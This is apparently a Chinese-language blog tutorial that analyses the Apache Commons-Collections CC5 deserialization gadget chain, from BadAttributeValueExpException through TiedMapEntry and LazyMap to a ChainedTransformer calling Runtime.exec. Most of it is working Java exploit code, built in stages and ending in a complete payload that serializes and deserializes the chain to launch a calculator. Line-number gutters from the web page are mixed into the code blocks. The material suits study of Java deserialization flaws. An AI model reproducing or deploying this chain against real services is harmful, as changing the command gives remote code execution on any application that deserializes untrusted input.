CC5链
Java 反序列化 Commons-Collections 篇 CC5 链
0x01 前言
最后两个链子了,冲冲冲!
0x02 CC5 链分析
让我找这里肯定很难找出来,去看了 yso 的官方链子,入口类是 BadAttributeValueExpException 的 readObject() 方法,这一个倒是不难。关键是后面的。
逆向思维来看的话,LazyMap.get() 方法被 TiedMapEntry.toString() 所调用,而如果去找谁调用了 toString() 这也太多了,太难找了,我们只能正向分析。
大致的流程图如此
 
从 BadAttributeValueExpException 的 readObject() 方法进来。
 
这里调用了 toString() 方法,然后 TiedMapEntry 这个类调用了 toString() 方法。
 
TiedMapEntry 这个类的 toString() 方法调用了 getValue() 方法,在 getValue() 方法中,我们看到了 get() 方法被调用,这就和后续的 LazyMap.get() 对应起来了。
 
0x03 CC5 链 EXP 编写
1. LazyMap.get() 的 EXP 编写
- 这里 LazyMap 的后面半条链子是可以用的,我们直接把 CC1 那一部分的拿进来。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 
 public static void main(String[] args) throws Exception{
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke"
 , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 Class<LazyMap> lazyMapClass = LazyMap.class;
 Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
 lazyGetMethod.setAccessible(true);
 lazyGetMethod.invoke(decorateMap, chainedTransformer);
 }
 }
 
 | 
 
下一步我们写 TiedMapEntry 类调用 toString() 方法的 EXP。
2. TiedMapEntry.toString() EXP 编写
这一步不是很难,因为 TiedMapEntry 这个类继承了反序列化,并且是 public 的类,可操纵性非常强。
EXP 的逻辑这里我觉得也挺简单的,先看 TiedMapEntry 的构造方法,TiedMapEntry 的构造方法中的 map 后续进行了 map.get(key) 的操作,所以只需要将 map 赋值为 decorateMap 即可。
 
编写我们的 EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 
 public class TiedMapEntryEXP {
 public static void main(String[] args) throws Exception{
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke"
 , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
 tiedMapEntry.toString();
 }
 }
 
 | 
3. 结合入口类的完整 EXP 编写
这里运气比较好,入口类的 BadAttributeValueExpException 的作用域是 public,所以我们可以直接 new 一个对象。
| 1
 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
 | 
new 完之后,我们需要修改 BadAttributeValueExpException 的 val 值,而 BadAttributeValueExpException 是支持序列化的,我们用反射的方式来修改。
| 12
 3
 4
 
 | Class c = Class.forName("javax.management.BadAttributeValueExpException");  Field field = c.getDeclaredField("val");
 field.setAccessible(true);
 field.set(badAttributeValueExpException, tiedMapEntry);
 
 | 
成功弹出计算器,完整的 EXP 如下。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 
 | import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import javax.management.BadAttributeValueExpException;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
 
 public class CC5EXP {
 public static void main(String[] args) throws Exception{
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke"
 , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
 
 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
 Class c = Class.forName("javax.management.BadAttributeValueExpException");
 Field field = c.getDeclaredField("val");
 field.setAccessible(true);
 field.set(badAttributeValueExpException, tiedMapEntry);
 serialize(badAttributeValueExpException);
 unserialize("ser.bin");
 }
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 
 
0x04 小结
- 走个形式吧,感觉自己体会到的更多,后续可能会写一篇关于反序列化的总结文章。